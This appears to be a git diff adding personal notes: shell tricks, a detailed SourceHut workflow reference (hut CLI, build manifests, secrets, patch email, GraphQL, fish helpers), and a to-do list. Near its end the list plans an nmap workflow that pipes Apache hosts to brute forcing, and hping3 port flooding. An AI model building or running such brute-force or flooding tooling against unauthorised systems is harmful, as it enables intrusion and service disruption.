-c; history -r' + +# Pre-command timer: +trap 'timer_start' DEBUG +PROMPT_COMMAND='timer_stop' +``` + +## Vi Mode Deep Tricks + +```bash +set -o vi +# In command mode: +# k/j -- history navigation +# /string -- search history +# # -- comment out current line and save to history +# v -- open in $EDITOR +``` + +The `#` trick: type command, Escape, `#` -- saves it commented in history. Do other work. Recall with `k`, `0x` to uncomment, Enter. + +## Zsh-Specific Power + +Suffix aliases: +```zsh +alias -s py=nvim # typing "script.py" opens in nvim +alias -s md=glow # typing "README.md" renders it +``` + +Global aliases: +```zsh +alias -g G='| grep' +alias -g L='| less' +alias -g J='| jq .' +alias -g C='| wc -l' +``` + +Named directories: +```zsh +hash -d dev=~/dev +hash -d ky=~/dev/krisyotam.com +cd ~dev # jumps to ~/dev +``` + +Hook functions: `precmd`, `preexec`, `chpwd` (auto-ls after cd) diff --git a/doc/sourcehut.md b/doc/sourcehut.md new file mode 100644 index 0000000000000000000000000000000000000000..8f383a915d51b8f32288bf488d7206f5eb751b70 --- /dev/null +++ b/doc/sourcehut.md @@ -0,0 +1,1259 @@ +# SourceHut (sr.ht) Workflow Reference + +A complete operational guide for sr.ht: repositories, builds, mailing lists, issue tracking, pages, and the GraphQL API. + +--- + +## 1. hut CLI Setup + +### Install + +```bash +# Arch Linux +paru -S hut + +# From source +git clone https://git.sr.ht/~emersion/hut +cd hut && go build . && mv hut ~/.local/bin/ +``` + +### Initialize + +```bash +hut init +``` + +This creates `~/.config/hut/config` interactively. Alternatively, write it manually. + +### ~/.config/hut/config + +```scfg +access-token-cmd cat ~/.config/srht/token + +instance "git.sr.ht" { + access-token-cmd cat ~/.config/srht/token +} + +instance "builds.sr.ht" { + access-token-cmd cat ~/.config/srht/token +} + +instance "todo.sr.ht" { + access-token-cmd cat ~/.config/srht/token +} + +instance "lists.sr.ht" { + access-token-cmd cat ~/.config/srht/token +} + +instance "meta.sr.ht" { + access-token-cmd cat ~/.config/srht/token +} + +instance "pages.sr.ht" { + access-token-cmd cat ~/.config/srht/token +} +``` + +The `access-token-cmd` can be any shell command that prints the token to stdout. Common patterns: + +```scfg +# From a file +access-token-cmd cat ~/.config/srht/token + +# From pass +access-token-cmd pass show sourcehut/token + +# From a secret manager +access-token-cmd secret-tool lookup service sourcehut key token +``` + +### Per-repo .hut.scfg + +Place `.hut.scfg` in a repo root to override the global config for that repository: + +```scfg +# .hut.scfg +git-repo "~username/repo-name" +build-instance "builds.sr.ht" +lists-repo "~username/my-list" +``` + +--- + +## 2. Repository Management + +### Create a Repository + +```bash +hut git create my-repo +hut git create my-repo --description "A short description" +hut git create my-repo --visibility private # public | private | unlisted +``` + +### List Repositories + +```bash +hut git list +hut git list --user ~otheruser +``` + +### Update Repository Metadata + +```bash +hut git update my-repo --description "New description" +hut git update my-repo --visibility unlisted +hut git update my-repo --readme README.md # set rendered README +``` + +### Delete a Repository + +```bash +hut git delete my-repo +``` + +### Clone + +```bash +git clone https://git.sr.ht/~username/repo-name +git clone git@git.sr.ht:~username/repo-name # SSH +``` + +After creating a repo on sr.ht: + +```bash +git remote add origin git@git.sr.ht:~username/repo-name +git push -u origin main +``` + +### Access Control (ACL) + +```bash +# Grant read access to another user +hut git acl grant my-repo ~collaborator read + +# Grant write access +hut git acl grant my-repo ~collaborator write + +# Revoke access +hut git acl revoke my-repo ~collaborator + +# List ACL +hut git acl list my-repo +``` + +### Artifact Upload + +Attach binary artifacts to a tag or commit: + +```bash +# Upload artifact to a release tag +hut git artifact upload my-repo v1.0.0 dist/my-binary.tar.gz + +# Upload multiple artifacts +hut git artifact upload my-repo v1.0.0 dist/*.tar.gz + +# List artifacts +hut git artifact list my-repo v1.0.0 + +# Delete artifact +hut git artifact delete my-repo v1.0.0 my-binary.tar.gz +``` + +--- + +## 3. Build System + +### Submit a Build + +```bash +# Submit the .build.yml in the current directory +hut builds submit .build.yml + +# Submit with a specific note +hut builds submit .build.yml --note "Testing auth fix" + +# Submit targeting a specific tag +hut builds submit .build.yml --tags "my-tag,another-tag" +``` + +### List Builds + +```bash +hut builds list +hut builds list --count 20 +hut builds list --status failed +``` + +### Show Build Details + +```bash +hut builds show 12345 +``` + +### Follow Build Output (Live) + +```bash +hut builds show 12345 -f +``` + +The `-f` flag tails the log output in real time, similar to `tail -f`. + +### Cancel a Build + +```bash +hut builds cancel 12345 +``` + +### Resubmit a Build + +```bash +hut builds resubmit 12345 +``` + +### SSH into a Failed Build + +After a build fails, it stays alive for a short window so you can SSH in and debug: + +```bash +hut builds ssh 12345 +``` + +This connects you to the build runner VM at the point of failure. Useful for interactive debugging of flaky build environments. + +--- + +## 4. .build.yml Manifest Reference + +Full key reference: + +```yaml +# Image: distribution to run the build on +# Format: <distro>/<version> +image: archlinux + +# Architecture: x86_64 (default), aarch64 +arch: x86_64 + +# Packages to install before running tasks +packages: + - git + - go + - make + +# Repositories/sources to clone into the build environment +# Format: <url> or <url>#<branch> +sources: + - https://git.sr.ht/~username/repo-name + - https://git.sr.ht/~username/other-repo#feature-branch + +# Artifacts: files to extract from the build and attach to the job +artifacts: + - repo-name/dist/binary + - repo-name/dist/archive.tar.gz + +# Environment variables (plain values only; use secrets for sensitive data) +environment: + GO111MODULE: "on" + GOPROXY: "https://proxy.golang.org" + BUILD_VERSION: "1.0.0" + +# Secrets: UUIDs from builds.sr.ht/secrets +# Placed at ~/.secrets/<uuid> inside the build VM +secrets: + - 00000000-0000-0000-0000-000000000000 + +# OAuth: grant the build job an API token with these grants +# Allows the build to interact with sr.ht services +oauth: + - pages.sr.ht/PAGES:RW + +# Shell: drop into a shell after the last task (for debugging) +# Only useful when submitting manually; auto-triggered builds ignore this +shell: false + +# Triggers: actions to run after the build completes +triggers: + - action: email + condition: failure + to: you@example.com + + - action: webhook + condition: always + url: https://example.com/hook + + - action: email + condition: always + cc: team@example.com + +# Tasks: ordered list of named shell scripts +# Each task runs in a fresh shell; environment is shared +tasks: + - setup: | + cd repo-name + go mod download + + - test: | + cd repo-name + go test ./... + + - build: | + cd repo-name + make release + + - upload: | + cd repo-name + hut pages publish -d my-site dist/ +``` + +### Available Images + +Common images (check builds.sr.ht for the full list): + +| Image | Notes | +|-------|-------| +| `archlinux` | Rolling release | +| `alpine/edge` | Minimal, fast | +| `alpine/3.19` | Pinned Alpine | +| `debian/bookworm` | Debian stable | +| `ubuntu/jammy` | Ubuntu 22.04 | +| `fedora/39` | Fedora | +| `freebsd/14.0` | FreeBSD | +| `openbsd/7.4` | OpenBSD | +| `netbsd/10.0` | NetBSD | + +--- + +## 5. Auto-trigger Patterns + +### Trigger on Push + +Place `.build.yml` at the repository root. Every push to any ref triggers a build automatically. No webhook configuration required. + +``` +repo/ + .build.yml <- triggers on every push + src/ +``` + +### Multiple Build Manifests + +Place multiple manifests in `.builds/`: + +``` +repo/ + .builds/ + linux-amd64.yml + linux-arm64.yml + test.yml + src/ +``` + +All files in `.builds/` are submitted on every push. The `.build.yml` at the root is also submitted if present. + +### Skip CI + +Append `[skip ci]` or `[ci skip]` to the commit message subject: + +```bash +git commit -m "Fix typo in README [skip ci]" +``` + +### Custom Build on Push + +Push with options to select a specific manifest: + +```bash +# Submit a specific manifest file on push +git push -o submit=.builds/release.yml + +# Submit multiple manifests +git push -o submit=.builds/test.yml -o submit=.builds/release.yml + +# Skip all CI +git push -o skip-ci +``` + +### Branch-Specific Triggers + +Use the `triggers` key with conditions inside the manifest, or name manifests descriptively and use push options to control which runs. + +--- + +## 6. Secret Management + +### Create a Secret on builds.sr.ht + +Visit https://builds.sr.ht/secrets and create a secret file, environment variable, or SSH key. You get a UUID. + +### Reference in .build.yml + +```yaml +secrets: + - a1b2c3d4-e5f6-7890-abcd-ef1234567890 +``` + +Secret files land at `~/.secrets/<uuid>` inside the build VM. + +### Use Secrets Safely + +Always disable command tracing before reading a secret: + +```yaml +tasks: + - deploy: | + set +x # disable xtrace + source ~/.secrets/a1b2c3d4-e5f6-7890-abcd-ef1234567890 + set -x # re-enable xtrace + deploy --token "$SECRET_TOKEN" +``` + +The `set +x` pattern prevents the secret value from appearing in the build log. Without it, every executed command including variable assignments prints to the log. + +### Environment Variable Secrets + +When the secret is an environment variable file (key=value format), source it: + +```yaml +tasks: + - auth: | + set +x + source ~/.secrets/<uuid> + set -x + curl -H "Authorization: Bearer $API_TOKEN" https://api.example.com +``` + +--- + +## 7. Patch Workflow + +### Configure git send-email with msmtp + +Install msmtp and configure it at `~/.config/msmtp/config`: + +``` +defaults +tls on +tls_trust_file /etc/ssl/certs/ca-certificates.crt +logfile ~/.config/msmtp/msmtp.log + +account sourcehut +host mail.sourcehut.org +port 587 +auth on +user your@email.com +passwordeval cat ~/.config/msmtp/password +from your@email.com + +account default: sourcehut +``` + +Then configure git to use msmtp: + +```bash +git config --global sendemail.smtpserver /usr/bin/msmtp +git config --global sendemail.smtpserveroption "-a sourcehut" +git config --global sendemail.confirm always +git config --global sendemail.suppresscc self +git config --global format.signOff true +``` + +### Per-repo sendemail.to + +Configure the target mailing list per repository: + +```bash +cd my-repo +git config sendemail.to "~username/list-name@lists.sr.ht" +``` + +Now `git send-email` targets the correct list by default for that repo. + +### Send a Single Patch + +```bash +# Create a patch from the last commit +git format-patch -1 HEAD + +# Send it +git send-email 0001-my-fix.patch +``` + +### Send Multiple Patches as a Series + +```bash +# Create patches for the last 3 commits +git format-patch -3 HEAD + +# Send with a cover letter +git send-email --cover-letter --annotate 0001-*.patch 0002-*.patch 0003-*.patch +``` + +The `--annotate` flag opens each patch in your editor before sending. + +### Send a Revision of a Previous Series + +```bash +# Mark as revision 2 +git send-email -v2 --cover-letter 0001-*.patch +``` + +This prepends `[PATCH v2]` to the subject, linking reviewers to the previous series. + +### In-Reply-To (Threading) + +To thread a revision under the original thread: + +```bash +# Get the Message-ID of the original cover letter from the list archive +git send-email -v2 --in-reply-to="<message-id@lists.sr.ht>" 0001-*.patch +``` + +--- + +## 8. Mailing Lists + +### Create a List + +```bash +hut lists create my-list --description "Patches and discussion" +``` + +### Subscribe to a List + +```bash +hut lists subscribe ~username/my-list your@email.com +``` + +### Archive a List + +```bash +hut lists archive ~username/my-list +``` + +### List Patchsets + +```bash +hut lists patchset list ~username/my-list +``` + +### Show a Patchset + +```bash +hut lists patchset show ~username/my-list 42 +``` + +### Update Patchset Status + +```bash +hut lists patchset update-status ~username/my-list 42 APPLIED +hut lists patchset update-status ~username/my-list 42 NEEDS_REVISION +hut lists patchset update-status ~username/my-list 42 REJECTED +``` + +Valid statuses: `PROPOSED`, `NEEDS_REVISION`, `SUPERSEDED`, `APPROVED`, `REJECTED`, `APPLIED` + +--- + +## 9. Issue Tracking (todo.sr.ht) + +### Create a Tracker + +```bash +hut todo create my-tracker --description "Bug reports and features" +``` + +### Create a Ticket + +```bash +hut todo ticket create ~username/my-tracker --title "Something is broken" + +# With a body from stdin +echo "Details about the bug." | hut todo ticket create ~username/my-tracker --title "Bug report" + +# With body from a file +hut todo ticket create ~username/my-tracker --title "Feature request" --body feature.md +``` + +### Comment on a Ticket + +```bash +hut todo ticket comment ~username/my-tracker 7 --comment "I can reproduce this." +``` + +### Update Ticket Status + +```bash +hut todo ticket update-status ~username/my-tracker 7 RESOLVED +hut todo ticket update-status ~username/my-tracker 7 CLOSED +hut todo ticket update-status ~username/my-tracker 7 IN_PROGRESS +``` + +Valid statuses: `REPORTED`, `CONFIRMED`, `IN_PROGRESS`, `PENDING`, `RESOLVED`, `CLOSED` + +### Add a Label + +```bash +hut todo ticket label ~username/my-tracker 7 bug +hut todo ticket label ~username/my-tracker 7 enhancement +``` + +### Assign a Ticket + +```bash +hut todo ticket assign ~username/my-tracker 7 ~collaborator +``` + +--- + +## 10. Pages Deployment + +### Publish a Directory + +```bash +# Publish the current directory +hut pages publish + +# Publish a specific directory +hut pages publish -d my-domain.tld dist/ + +# Publish and set the domain +hut pages publish -d my-domain.tld --domain my-domain.tld dist/ +``` + +### In-build Deployment + +Use the `oauth` key to grant the build job pages write access, then call `hut pages publish` from within a task: + +```yaml +image: archlinux + +packages: + - hut + - nodejs + - npm + +oauth: + - pages.sr.ht/PAGES:RW + +sources: + - https://git.sr.ht/~username/my-site + +tasks: + - build: | + cd my-site + npm ci + npm run build + + - deploy: | + cd my-site + hut pages publish -d my-domain.tld out/ +``` + +The `oauth` grant creates a short-lived token inside the build environment that `hut` picks up automatically. + +--- + +## 11. Paste + +### Create a Paste from a File + +```bash +hut paste create myfile.txt + +# With a custom filename shown in the UI +hut paste create myfile.txt --filename "config.fish" + +# Set visibility +hut paste create myfile.txt --visibility unlisted +``` + +### Create a Paste from stdin + +```bash +# Pipe directly +cat somefile.txt | hut paste create + +# Here string +hut paste create <<'EOF' +This is my paste content. +EOF + +# Command output +git diff HEAD | hut paste create --filename "my.diff" +``` + +--- + +## 12. GraphQL API + +All sr.ht services expose a GraphQL API. The `hut graphql` command sends raw queries. + +### Send a Query + +```bash +# Query against a specific service +hut graphql git.sr.ht < query.graphql + +# Inline query +echo '{ me { username email } }' | hut graphql meta.sr.ht + +# With variables (JSON) +hut graphql git.sr.ht --variables '{"name": "my-repo"}' < query.graphql +``` + +### curl Patterns + +All services accept `Authorization: Bearer <token>` with a JSON body containing `query` and optionally `variables`: + +```bash +TOKEN=$(cat ~/.config/srht/token) + +# meta.sr.ht: get current user +curl -s https://meta.sr.ht/query \ + -H "Authorization: Bearer $TOKEN" \ + -H "Content-Type: application/json" \ + -d '{"query": "{ me { username email } }"}' | jq . + +# git.sr.ht: list repos +curl -s https://git.sr.ht/query \ + -H "Authorization: Bearer $TOKEN" \ + -H "Content-Type: application/json" \ + -d '{"query": "{ repositories { results { name visibility } } }"}' | jq . + +# builds.sr.ht: get a build +curl -s https://builds.sr.ht/query \ + -H "Authorization: Bearer $TOKEN" \ + -H "Content-Type: application/json" \ + -d '{"query": "{ job(id: 12345) { status log } }"}' | jq . +``` + +--- + +## 13. Webhook Configuration + +### Create a Git Webhook + +```bash +hut git webhook create my-repo \ + --url https://example.com/hook \ + --events repo:post-update +``` + +### List Webhooks + +```bash +hut git webhook list my-repo +``` + +### Delete a Webhook + +```bash +hut git webhook delete my-repo <webhook-id> +``` + +### Verify Webhook Signatures + +sr.ht signs webhook payloads with Ed25519. The public key is published at `https://meta.sr.ht/.well-known/sourcehut/ed25519`. + +Example verification in Python: + +```python +from cryptography.hazmat.primitives.asymmetric.ed25519 import Ed25519PublicKey +from cryptography.hazmat.primitives.serialization import load_pem_public_key +import base64, hashlib + +def verify_webhook(public_key_pem: bytes, payload: bytes, signature_b64: str) -> bool: + pub = load_pem_public_key(public_key_pem) + sig = base64.b64decode(signature_b64) + digest = hashlib.sha256(payload).digest() + try: + pub.verify(sig, digest) + return True + except Exception: + return False +``` + +The `X-Sourcehut-Signature` header contains the base64-encoded signature. + +### GraphQL Query in a Webhook Handler + +Webhooks send JSON payloads. To respond by querying the API: + +```bash +#!/usr/bin/env bash +# Called by webhook, reads JSON from stdin +PAYLOAD=$(cat) +REPO=$(echo "$PAYLOAD" | jq -r '.repo.name') +TOKEN=$(cat ~/.config/srht/token) + +curl -s https://git.sr.ht/query \ + -H "Authorization: Bearer $TOKEN" \ + -H "Content-Type: application/json" \ + -d "{\"query\": \"{ repository(name: \\\"$REPO\\\") { HEAD { shorthand } } }\"}" | jq . +``` + +--- + +## 14. aerc Email Client + +aerc integrates cleanly with mailing lists and patch workflows on sr.ht. + +### accounts.conf + +```ini +[sourcehut] +source = imaps://your@email.com@imap.fastmail.com:993 +outgoing = msmtp -a sourcehut +default = INBOX +smtp-starttls = yes +from = Your Name <your@email.com> +copy-to = Sent +``` + +### Keybindings for Patch Workflows + +In `~/.config/aerc/binds.conf`: + +```ini +[messages] +# Apply a patch from a message +gp = :pipe -m git am -3<Enter> + +# Reply with patch review +gr = :reply<Enter> + +# Mark patchset as applied (send X-Sourcehut-Patchset-Update) +ga = :reply -a<Enter>:header X-Sourcehut-Patchset-Update APPLIED<Enter> +gn = :reply -a<Enter>:header X-Sourcehut-Patchset-Update NEEDS_REVISION<Enter> + +[compose] +# Toggle quoted reply +<C-q> = :toggle-headers<Enter> +``` + +### Reply Templates with X-Sourcehut-Patchset-Update + +Create `~/.config/aerc/templates/patch-applied`: + +``` +X-Sourcehut-Patchset-Update: APPLIED + +Thanks, applied to main. +``` + +Use in aerc: + +``` +:reply -T patch-applied +``` + +When lists.sr.ht sees `X-Sourcehut-Patchset-Update` in a reply to a patchset thread, it updates the patchset status automatically. + +--- + +## 15. b4 Integration with sr.ht Lists + +b4 is a tool for working with patches sent to mailing lists. It can pull patchsets from lists.sr.ht archives. + +### Install + +```bash +paru -S b4 +``` + +### Fetch a Patchset by Message-ID + +```bash +b4 am <message-id> +``` + +This downloads all patches in the series and prepares an `mbox` file ready for `git am`. + +### Apply the Patchset + +```bash +b4 am <message-id> -o patches/ +git am patches/*.mbox +``` + +### Configure b4 for sr.ht + +In `~/.config/b4/config`: + +```ini +[b4] +midmask = https://lists.sr.ht/%s +linkmask = https://lists.sr.ht/%s +``` + +### Fetch Latest Revision + +```bash +# Gets the latest revision of a patch thread +b4 am --use-version 2 <original-message-id> +``` + +--- + +## 16. X-Sourcehut-Patchset-Update Header + +When you reply to a patchset thread on a lists.sr.ht mailing list and include this header, lists.sr.ht automatically updates the patchset status. + +| Value | Meaning | +|-------|---------| +| `PROPOSED` | Patch submitted for review (default state) | +| `NEEDS_REVISION` | Reviewer requests changes | +| `SUPERSEDED` | This version replaced by a new revision | +| `APPROVED` | Reviewer approves, ready to merge | +| `REJECTED` | Patch will not be merged | +| `APPLIED` | Maintainer has applied the patch | + +### Usage in a Reply + +When composing a review reply in any mail client: + +``` +X-Sourcehut-Patchset-Update: NEEDS_REVISION + +The approach looks good but the error handling needs work. +See inline comments. +``` + +Only maintainers and the original submitter can change status. lists.sr.ht validates permissions before updating. + +--- + +## 17. Email Etiquette + +sr.ht's developer community follows strict plain-text email conventions. Violating these makes patches harder to review and apply. + +### Rules + +**Plain text only.** No HTML. No rich text. Set your mail client to always send plain text. + +**No top-posting.** Quote the relevant context, then reply below it. When reviewing a patch, quote the relevant diff hunk and comment inline beneath it. + +**72-column line wrap.** Wrap prose at 72 characters. Patch content (diff lines) can be longer, but your commentary should be wrapped. Most email clients and `git format-patch` handle this automatically. + +**Trim quoted context.** Quote only what you are directly responding to. Do not quote entire threads. + +**Inline review comments.** For patches, quote the specific hunk you are commenting on and place your comment directly below it. Use `>` for quoted lines. + +**Subject lines.** Keep them clear and concise. For patch revisions, include `[PATCH v2]` etc. + +**Signature.** Keep it short (four lines maximum, prefixed with `-- `). + +### aerc Plain Text Config + +In `~/.config/aerc/aerc.conf`: + +```ini +[compose] +editor = nvim +``` + +aerc defaults to plain text composition. Avoid HTML or rich-text plugins. + +--- + +## 18. GraphQL Endpoints Table + +| Service | Endpoint | +|---------|----------| +| meta.sr.ht | `https://meta.sr.ht/query` | +| git.sr.ht | `https://git.sr.ht/query` | +| builds.sr.ht | `https://builds.sr.ht/query` | +| todo.sr.ht | `https://todo.sr.ht/query` | +| lists.sr.ht | `https://lists.sr.ht/query` | +| pages.sr.ht | `https://pages.sr.ht/query` | +| paste.sr.ht | `https://paste.sr.ht/query` | + +All endpoints accept `POST` with `Content-Type: application/json` and `Authorization: Bearer <token>`. + +Interactive GraphQL explorer (GraphiQL) is available by visiting each endpoint in a browser with a valid token. + +--- + +## 19. Useful GraphQL Queries + +### List Repositories + +```graphql +{ + repositories { + results { + name + description + visibility + updated + } + } +} +``` + +### Create a Repository + +```graphql +mutation { + createRepository(name: "new-repo", visibility: PUBLIC, description: "My repo") { + id + name + } +} +``` + +### Check Build Status + +```graphql +{ + job(id: 12345) { + status + note + tags + tasks { + name + status + } + } +} +``` + +### List Recent Builds + +```graphql +{ + jobs(count: 10) { + results { + id + status + note + created + } + } +} +``` + +### Submit a Ticket + +```graphql +mutation { + submitTicket( + tracker: "~username/my-tracker" + input: { + subject: "Bug: something is wrong" + body: "Steps to reproduce..." + } + ) { + id + ref + } +} +``` + +### List SSH Keys + +```graphql +{ + me { + sshKeys { + id + fingerprint + comment + created + } + } +} +``` + +### Add an SSH Key + +```graphql +mutation { + createSSHKey(key: "ssh-ed25519 AAAA... comment") { + id + fingerprint + } +} +``` + +### Get Current User Info + +```graphql +{ + me { + username + email + url + created + location + bio + } +} +``` + +--- + +## 20. Fish Shell Functions for sr.ht Operations + +Add these to `~/.config/fish/config.fish` or a file in `~/.config/fish/functions/`: + +```fish +# sr.ht token shortcut +function srht_token + cat ~/.config/srht/token +end + +# GraphQL query helper +function srht_gql + set -l service $argv[1] + set -l query $argv[2] + set -l token (srht_token) + curl -s "https://$service/query" \ + -H "Authorization: Bearer $token" \ + -H "Content-Type: application/json" \ + -d (echo "{\"query\": $query}" | jq -c .) | jq . +end + +# Quick repo create + remote setup +function srht_new + set -l name $argv[1] + set -l desc $argv[2] + hut git create $name --description $desc + git remote add origin "git@git.sr.ht:~"(hut graphql meta.sr.ht -e '{ me { username } }' | jq -r .data.me.username)"/$name" + echo "Remote added. Push with: git push -u origin main" +end + +# Clone a sr.ht repo by shorthand (~user/repo) +function srht_clone + set -l parts (string split / $argv[1]) + set -l user $parts[1] # e.g. ~username + set -l repo $parts[2] + git clone "https://git.sr.ht/$user/$repo" +end + +# Submit a build and follow the log +function srht_build + set -l manifest $argv[1] + if test -z "$manifest" + set manifest .build.yml + end + set -l id (hut builds submit $manifest | grep -oP 'job #\K[0-9]+') + echo "Build #$id submitted" + hut builds show $id -f +end + +# Watch latest build +function srht_watch + set -l id (hut builds list --count 1 | awk 'NR==2 {print $1}') + hut builds show $id -f +end + +# Send a patch series to the configured list +function srht_send + set -l count $argv[1] + if test -z "$count" + set count 1 + end + git format-patch -$count HEAD + git send-email --annotate (ls -t *.patch | head -$count | sort) +end + +# Paste a file and print the URL +function srht_paste + hut paste create $argv[1] | grep -oP 'https://paste\.sr\.ht/\S+' +end + +# Paste stdin +function srht_pastein + cat | hut paste create | grep -oP 'https://paste\.sr\.ht/\S+' +end + +# Open a repo in the browser +function srht_open + set -l name $argv[1] + set -l user (hut graphql meta.sr.ht -e '{ me { username } }' 2>/dev/null | jq -r .data.me.username 2>/dev/null) + if test -z "$user" + set user (cat ~/.config/srht/username 2>/dev/null) + end + xdg-open "https://git.sr.ht/~$user/$name" +end + +# List all repos with visibility +function srht_repos + echo '{ repositories { results { name visibility description } } }' \ + | hut graphql git.sr.ht \ + | jq -r '.data.repositories.results[] | "\(.visibility)\t\(.name)\t\(.description // "")"' \ + | column -t -s (printf '\t') +end + +# Check build status for a repo's latest push +function srht_status + hut builds list --count 5 | column -t +end + +# Update patchset status from the command line +function srht_patch_status + set -l tracker $argv[1] + set -l id $argv[2] + set -l status $argv[3] + hut lists patchset update-status $tracker $id $status +end +``` + +### Usage Examples + +```fish +# Create a new repo +srht_new my-project "A cool project" + +# Clone someone's repo +srht_clone ~sircmpwn/aerc + +# Submit build and watch +srht_build .build.yml + +# Send last 3 commits as a patch series +srht_send 3 + +# Paste a diff +git diff | srht_pastein + +# List all your repos +srht_repos + +# Mark patchset 42 as applied +srht_patch_status ~username/my-list 42 APPLIED +``` + +--- + +## Quick Reference Card + +``` +hut git create <name> create repo +hut git list list repos +hut git update <name> --description X update metadata +hut git acl grant <name> ~user write share access +hut git artifact upload <name> <tag> attach release artifact + +hut builds submit .build.yml submit build +hut builds show <id> -f follow build log +hut builds ssh <id> debug failed build + +hut todo ticket create ~u/t --title X new ticket +hut todo ticket update-status ~u/t N S change ticket status + +hut lists patchset list ~u/l list patchsets +hut lists patchset update-status ~u/l N APPLIED + +hut pages publish -d domain.tld dist/ publish site + +hut paste create file.txt create paste +echo "..." | hut paste create paste from stdin + +git push -o skip-ci skip build trigger +git push -o submit=.builds/release.yml trigger specific manifest +git format-patch -3 HEAD prepare 3 patches +git send-email --cover-letter *.patch send patch series +``` diff --git a/doc/tasks.md b/doc/tasks.md new file mode 100644 index 0000000000000000000000000000000000000000..dd16e2f318bb8773bb56f9233dc48eb4416564fb --- /dev/null +++ b/doc/tasks.md @@ -0,0 +1,140 @@ +# Tasks + +## Immediate + +- [ ] Slipbox: collapse into plaintext directory +- [ ] Emacs: fix elfeed bug (no publications appearing, possibly date issue) +- [ ] Emacs: update keybinds for new directory layout +- [ ] Emacs: fix elfeed -> bibliography workflow (doi2bib -> ~/sci/sci.bib) +- [ ] Emacs: fix paper download workflow (zathura reads from ~/sci/) +- [ ] Shell: `read` script -- search sci.bib to index papers, choose, open in zathura +- [ ] Shell: `doi2bib` -- batch entries into sci.bib (curl crossref API) +- [ ] Shell: pdf batch DOI extractor: `for file in *.pdf; do pdftotext "$file" - | grep -i "doi"; done` (pretty table: filename | doi) +- [ ] Shell: `dr` command -- cd into deep-research repo from anywhere +- [ ] Shell: set aliases for prod repos + +## Site Content + +- [ ] /notebooks page +- [ ] /tools page +- [ ] /slashpages page +- [ ] /essais page +- [ ] Note mine (from conversations) + - [ ] Prayers specifically +- [ ] AgentMail integration +- [ ] /comic -- comic media page with favorites +- [ ] /beliefs page (refs: Nat Friedman, Salvatore Sanfilippo, Anson Yu, Devon Zuegel) +- [ ] /unoffice-hours (self-hosted cal, ref: sidhion.com, interconnected.org) +- [ ] /hacking page +- [ ] Manga/anime pages: add occupation field (Illustrator, Mangaka) to Favorite People + - [ ] Homare Don, Moyoco Anno, Akira Hiramoto +- [ ] Wiki components: shrink name height, widen image to pfp dimensions w/ rounded corners +- [ ] sophia.mdx: switch to alice dropcaps + +## edu.krisyotam.com + +- [ ] Theology page (dark red): Judith Beheading Holofernes +- [ ] Marine Biology page (light greyish blue): orcas +- [ ] Literature page (bookish green) + +## Shell Tools to Install + +- [ ] ncdu (disk usage) +- [ ] duf (pretty df) +- [ ] mosh (roaming ssh) +- [ ] lshw (hardware info) +- [ ] mtr (latency + packet loss by hop) +- [ ] fd (better find) +- [ ] fzf (fuzzy finder) +- [ ] zoxide (better cd, `zi` for interactive) +- [ ] dstat +- [ ] progress (show progress of running cmds) +- [ ] dog (dns lookups, dns-over-tls, json output) +- [ ] termshark (tui tshark) +- [ ] ipcalc (subnet calculator) +- [ ] wormhole (p2p file transfer) +- [ ] procs (pretty ps aux, --sortd cpu, --tree) +- [ ] lazydocker, lazygit +- [ ] shred (multi-pass file overwrite) +- [ ] errno (error number lookup, alias: err) +- [ ] ifdata (network interfaces) +- [ ] vidir (edit directory names in editor) +- [ ] vipe (insert editor into pipe chain) +- [ ] unp (universal unpacker) +- [ ] jq (json formatter) +- [ ] taskwarrior +- [ ] asciinema (terminal recording) + agg (replay -> gif) +- [ ] fabric (cmd) +- [ ] cliphist (clipboard history) +- [ ] dysk (alias ds -> dysk) +- [ ] caligula (dd replacement) +- [ ] webcamize + ffmpeg pair recording +- [ ] Advanced Copy (advcpmv, bash version for mksh) +- [ ] astro (terminal emulator) + +## Shell Scripts to Write + +- [ ] `addwal` (aw): resize image, move to wallpaper dir +- [ ] `absolute-cinema` (as): pipe random img from as/ dir into dunst +- [ ] Film wallpaper switcher: switch all or one monitor, source authentic film stills +- [ ] `dwatch`: dmenu launcher (film, anime, tv, kdrama) -> ani-cli, film-cli, etc. +- [ ] `film-cli`: suckless ani-cli-like client for local films +- [ ] `dwatchlist`: pull watchlists from MAL or Letterboxd +- [ ] Snippets script (Luke Smith style): dmenu, folder sorting + full text search +- [ ] `sensors` integration for stats +- [ ] `dict` / `thes` overhaul: + - [ ] dict: oed -> etymologies/define, dict.com fallback, sdcv backend + - [ ] sdcv dictionaries: Japanese, French, Mandarin +- [ ] `draft` -> rename to `write` (nvim launcher) +- [ ] `tome write` (tw): launcher for papers, essays, blog, diary, reviews, verse, news (soapbox/field notes/off the record), til, fiction, ocs, progymnasmata +- [ ] Cron: on nvim file close, read frontmatter, auto-sort if unsorted +- [ ] Automated nmap workflow: quick sweep -> found ports -> full scan -> conditional piping (apache -> brute force) +- [ ] Portage aliases (Gentoo): `fp` (find portage), `rp` (remove portage line) +- [ ] `vibe` -> zed alias +- [ ] `ping -s` packet size testing notes +- [ ] `hping3` flooding on specific port + +## RSS/sfeed Setup + +- [ ] Build dfeed script (select from prebuilt feed modules) +- [ ] sfeedrc.news: Economist, BBC, Reuters, AP +- [ ] sfeedrc.literary: LRB, NYRB, New Yorker, Granta +- [ ] sfeedrc.art: Sotheby's, Christie's, Apollo, Artforum, Art Newspaper, Artnet +- [ ] sfeedrc.tech: Ben Thompson, Simon Willison +- [ ] sfeedrc.media: BFI Sight and Sound, MUBI Notebook, Letterboxd Journal, Anime News Network +- [ ] sfeedrc.science: (TBD) +- [ ] sfeedrc.society: Tatler, Air Mail, Town & Country, Vanity Fair +- [ ] sfeedrc.japan, sfeedrc.ghana, sfeedrc.iceland: (TBD) +- [ ] Independents: Manohla Dargis (film), Tyler Cowen (econ), Matt Levine (finance), John Baez (math), Peter Woit (physics) + +## Editors + +- [ ] vis + nvim setup +- [ ] Syncthing: only sync content directory to main machine + +## Research/Following + +- [ ] Antigravity f(agy) deep-research project +- [ ] Cloud VM for khr1st +- [ ] nickjanetakis.com (review) +- [ ] AMS membership ($35/yr) +- [ ] Rork AI app development (math apps for income) +- [ ] Free Writers Club: lists.sr.ht/~sircmpwn/free-writers-club +- [ ] Prof following: Maria Chudnovsky, Lisa Piccirillo, Tom7, John Baez +- [ ] Drew DeVault blogroll (saved separately if needed) +- [ ] krisyotam.net static mirror (Drew DeVault design) + +## Foundations + +- [ ] Software Freedom Conservancy +- [ ] Electronic Frontier Foundation +- [ ] Free Software Foundation + +## Photos + +- [ ] photos.krisyotam.com album: "Writers and their writing desks" (Online) +- [ ] photos.krisyotam.com album: Museum photos (In Real Life, check w/ parents) + +## Rating Revision + +- [ ] Status labels: 